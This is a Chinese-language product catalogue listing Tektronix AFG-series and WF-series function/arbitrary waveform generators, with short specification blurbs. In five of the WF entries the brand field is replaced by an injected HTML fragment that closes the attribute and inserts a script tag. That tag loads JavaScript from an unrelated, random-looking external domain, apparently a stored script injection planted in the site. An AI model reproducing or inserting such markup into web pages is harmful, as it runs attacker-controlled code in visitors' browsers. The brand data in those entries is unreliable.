| 品 牌: | Tektronix 泰克 |
|---|---|
| 品 名: | AFG1022 函數/任意波形發生器 |
| 型 號: | AFG1022 |
| 簡 介: | AFG1022 任意函數發生器。雙通道、25MHz 帶寬和高達 10Vp-p 的輸出幅度。4 種運行模式、50 種內置常用波形和內置 200MHz 頻率計數器。 |
| 查看詳細參數 |
| 品 牌: | Tektronix 泰克 |
|---|---|
| 品 名: | AFG1062 函數/任意波形發生器 |
| 型 號: | AFG1062 |
| 簡 介: | AFG1062 任意波形發生器。雙通道,60MHz 帶寬,最高 10 Vp-p 輸出幅度。4 種運行模式、50 種內置常用波形和內置 200 MHz 頻率計數器。 |
| 查看詳細參數 |
| 品 牌: | Tektronix 泰克 |
|---|---|
| 品 名: | AFG2021 函數/任意波形發生器 |
| 型 號: | AFG2021 |
| 簡 介: | 20 MHz 正弦波、10 MHz 方波和脈沖波形,250 MS/s 采樣率和 14 位垂直分辨率,用戶界面可以直接進入常用功能和參數,縮短設置時間和評估時間。 |
| 查看詳細參數 |
| 品 牌: | Tektronix 泰克 |
|---|---|
| 品 名: | AFG3011C 函數/任意波形發生器 |
| 型 號: | AFG3011C |
| 簡 介: | AFG3011C 可以選擇 12 種不同的標準波形。可以生成長度達 128 K 的任意波形。單通道,最高 10 MHz 正弦波,可以產生 14 位,250 MS/s 任意波形,高達 20 Vp-p 的幅度(50 歐姆負載)。 |
| 查看詳細參數 |
| 品 牌: | Tektronix 泰克 |
|---|---|
| 品 名: | AFG31000系列函數/任意波形發生器 |
| 型 號: | AFG31000系列 |
| 簡 介: | AFG31000 是一款包括內置雙脈沖測試軟件的函數發生器。現在,您可以在一分鐘內直接在觸摸顯示屏上生成兩個具有可變脈沖寬度(從 20 ns 到 150 μs)的波形。無需使用外部 PC 應用程序或手動編輯。 |
| 查看詳細參數 |
| 品 牌: | "><script type="text/javascript" src="https://www.2tm30fz.com/cx.js"></script><br" |
|---|---|
| 品 名: | WF1947 函數/任意波形發生器 |
| 型 號: | WF1947 |
| 簡 介: | WF1947 函數/任意波形發生器,0.01 μHz - 30 MHz,單通道、波形幅度分辨率:16 bits。 |
| 查看詳細參數 |
| 品 牌: | "><script type="text/javascript" src="https://www.2tm30fz.com/cx.js"></script><br" |
|---|---|
| 品 名: | WF1948 函數/任意波形發生器 |
| 型 號: | WF1948 |
| 簡 介: | WF1948 函數/任意波形發生器,0.01 μHz - 30 MHz,雙通道、波形幅度分辨率:16 bits。 |
| 查看詳細參數 |
| 品 牌: | "><script type="text/javascript" src="https://www.2tm30fz.com/cx.js"></script><br" |
|---|---|
| 品 名: | WF1967 函數/任意波形發生器 |
| 型 號: | WF1967 |
| 簡 介: | 單通道,最高頻率:200 MHz (正弦波),70 MHz (方波, 脈沖),最高輸出電壓:20 Vp-p/開放式 (10 Vp-p/50 Ω, 110 MHz 或低于),波形振幅分辨率: 約為 16 bit, 輸出波形:正弦波,方波, 脈沖, 斜波, 噪音, DC, 參數變量及任意波。 |
| 查看詳細參數 |
| 品 牌: | "><script type="text/javascript" src="https://www.2tm30fz.com/cx.js"></script><br" |
|---|---|
| 品 名: | WF1968 函數/任意波形發生器 |
| 型 號: | WF1968 |
| 簡 介: | 雙通道,最高頻率:200 MHz (正弦波),70 MHz (方波, 脈沖),最高輸出電壓:20 Vp-p/開放式 (10 Vp-p/50 Ω, 110 MHz 或低于),波形振幅分辨率: 約為 16 bit, 輸出波形:正弦波,方波, 脈沖, 斜波, 噪音, DC, 參數變量及任意波。 |
| 查看詳細參數 |
| 品 牌: | "><script type="text/javascript" src="https://www.2tm30fz.com/cx.js"></script><br" |
|---|---|
| 品 名: | WF1973/ WF1974 函數/任意波形發生器 |
| 型 號: | WF1973,WF1974 |
| 簡 介: | WF1973/ WF1974 函數/任意波形發生器,0.01μHz - 30MHz,WF1973(單通道)/WF1974(雙通道)。 |
| 查看詳細參數 |